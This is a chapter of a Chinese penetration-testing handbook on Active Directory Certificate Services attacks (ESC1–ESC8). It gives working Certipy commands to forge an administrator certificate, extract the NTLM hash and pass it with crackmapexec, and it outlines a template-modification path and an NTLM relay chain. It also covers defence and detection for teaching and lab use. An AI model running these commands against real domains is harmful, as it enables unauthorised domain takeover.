逆向工程实战手册 第 70 章

第 70 章 AD 证书攻击(Certipy / ESC 系列)

Active Directory 证书服务(AD CS)是域渗透的高价值目标:证书 = 身份 = 任何权限。ESC1-ESC8 是一系列"证书模板/配置错误"导致的提权路径,其中 ESC1 是 Certipy 最著名的攻击。本章系统覆盖 AD CS 原理、ESC 系列漏洞与利用链。

📍 知识点地图 | 主题:AD证书攻击 | 前置:第62章 | 后续:— | 核心概念:ESC1-8、Certipy、模板、PKINIT

70.1 AD CS 核心概念(先懂机制)

AD CS = 域内的证书颁发机构(CA),签发用户/机器证书

关键概念:
  证书模板(Certificate Template): 定义证书的用途/权限/属性
  注册权限(Enrollment Rights): 谁能申请该模板
  扩展密钥用法(EKU): 证书能干什么
    Client Auth(客户端认证)→ 用于 Kerberos 认证(最危险)
    Smart Card Logon / PKINIT
  SAN(主题备用名称): 证书代表的身份(谁)

攻击本质: 找到"能申请到代表高权限身份证书"的模板
  → 申请证书 → 用证书做 Kerberos 认证 → 提权

70.2 ESC1(最经典:模板 SAN 可控)

漏洞条件

模板同时满足:
  1. 普通用户可注册(Enrollment Rights 包含 Domain Users)
  2. 请求者可指定 SAN(Certificate Request Agent 或"Supply in the request")
  3. EKU 允许 Client Auth(可用于认证)
  4. 模板未配置"CA 管理员审批"

→ 攻击者申请"SAN=admin@domain"的证书 → 用证书认证成 admin

Certipy 利用流程

# 1. 枚举证书服务与模板(发现漏洞)
certipy find -u user@domain -p pass -dc-ip <DC> -vulnerable
# 输出: 标记 Vulnerable 的模板

# 2. 申请伪造身份的证书(ESC1)
certipy req -u user@domain -p pass -ca <CA> \
  -target <CA_HOST> -template <VULN_TEMPLATE> \
  -upn administrator@domain
# 输出: administrator.pfx(admin 身份证书)

# 3. 用证书认证拿哈希(PKINIT)
certipy auth -pfx administrator.pfx -dc-ip <DC>
# 输出: administrator 的 NTLM 哈希!

# 4. 横向(用哈希进域内任意机器)
crackmapexec smb <target> -u administrator -H <HASH>

完整攻击链

发现脆弱模板 → 申请高身份证书 → 证书认证(PKINIT)→ NTLM 哈希 → 域管

70.3 ESC2-ESC8 速查(漏洞家族)

漏洞 条件 利用
ESC1 模板: SAN 可控 + 普通用户可注册 + Client Auth 申请任意身份证书
ESC2 模板: 任意 EKU(任何用法)+ 用户可注册 证书多用途滥用
ESC3 模板: 注册代理(Enrollment Agent) 代理申请高身份证书
ESC4 模板: 注册权限由"可控主体"可改 改模板权限 → ESC1
ESC5 CA 服务器权限问题(AD 对象控制) 控制 CA 服务器
ESC6 CA: 未打补丁 + SAN 编辑权限(EDITF_ATTRIBUTESUBJECTALTNAME2) 任意身份(老版本)
ESC7 CA 访问控制: 普通用户有"管理"权限 提权到 CA 管理员
ESC8 未启用 NTLM Relay 保护(HTTP 端点) NTLM relay 到 CA(配合 71 章)

70.4 ESC4(改模板权限——最灵活)

原理: 某主体(攻击者)对模板有 WriteDacl/WriteProperty 权限
      → 攻击者给模板加"自己可注册"+SAN 可控 → 变成 ESC1

利用:
certipy template -u user@domain -p pass -template <TEMPLATE> \
  -save-old -target <CA_HOST>
# 修改模板属性 → 重新利用 ESC1

70.5 ESC8(NTLM Relay to CA)

原理: CA 有 Web 注册端点(/certsrv/certfnsh.asp)接受 NTLM 认证
      → 受害者被 Coercer 强制认证 → relay 到 CA → 申请受害者身份证书

利用链(配合第 71 章):
  1. Coercer 触发域控/服务器向攻击机认证
  2. ntlmrelayx 中继到 CA 的 Web 端点
  3. 申请受害者的机器证书(Machine/DC 身份)
  4. 用证书认证 → DC 哈希 → 域控

70.6 证书攻击的检测与防御

防御:
  □ 审计模板: 关闭 SAN 可控(CA 管理员审批)
  □ EKU 最小化: 模板只给需要的用途
  □ 注册权限最小化
  □ ESC8: 禁止 NTLM 认证到 CA / 开启 EPA(扩展保护)
  □ 监控: 异常证书申请(新模板/高身份 SAN)

检测信号(蓝队):
  □ 非域管的用户申请高权限模板证书
  □ SAN 含管理员/高权限账户的证书申请
  □ PKINIT 异常认证(新证书首次使用)
  □ Certipy 枚举流量(LDAP 查询模板信息)

70.7 完整测试流程

1. 枚举: Certipy find 找 CA/模板/权限
2. 漏洞标记: -vulnerable 输出(ESC1-8 判定)
3. 选型: 哪个 ESC 路径最直接(ESC1 > ESC8 > ESC4)
4. 利用: 申请证书 → 认证 → 哈希
5. 横向: 用哈希/证书访问目标
6. 报告: 漏洞条件 + 利用链 + 证据

70.8 检查清单

□ AD CS 发现(CA 主机/服务)
□ 模板枚举(Certipy find)
□ ESC1-8 条件逐一匹配
□ ESC1: SAN 可控 + 注册权限
□ ESC8: HTTP 端点 + NTLM 保护缺失
□ 证书申请 → 认证 → 哈希
□ 影响: 域控/域管
□ 报告: 完整链

动手练习

  1. 搭一个带 ESC1 漏洞模板的域环境(有现成指南),用 Certipy 完整走一遍"枚举→申请→认证→哈希"。
  2. 分析 ESC8 的利用链:Coercer + ntlmrelayx 如何组合(配合第 71 章)。
  3. 读一份公开的 AD CS 攻击报告,用 ESC 框架标注它用的漏洞编号。
  4. 练习防御视角:对一个 CA 做模板审计,找出哪些模板"应该被禁用"。

深入阅读

  • 仓库:CTF-Sandbox-Orchestrator/competition-ad-certificate-abuse/(AD CS CTF 子技能)
  • 仓库:CTF-Sandbox-Orchestrator/competition-relay-coercion-chain/(relay 联动)
  • 仓库:CTF-Sandbox-Orchestrator/competition-identity-windows/(AD 身份 CTF)
  • 仓库:skills/pentest-tools/SKILL.md(Certipy 工具)
  • 实战案例:skills/field-journal/seed-005_ad-certipy-esc1.md(ESC1 实战)
  • 外部: SpecterOps "Certified Pre-Owned"(AD CS 权威研究)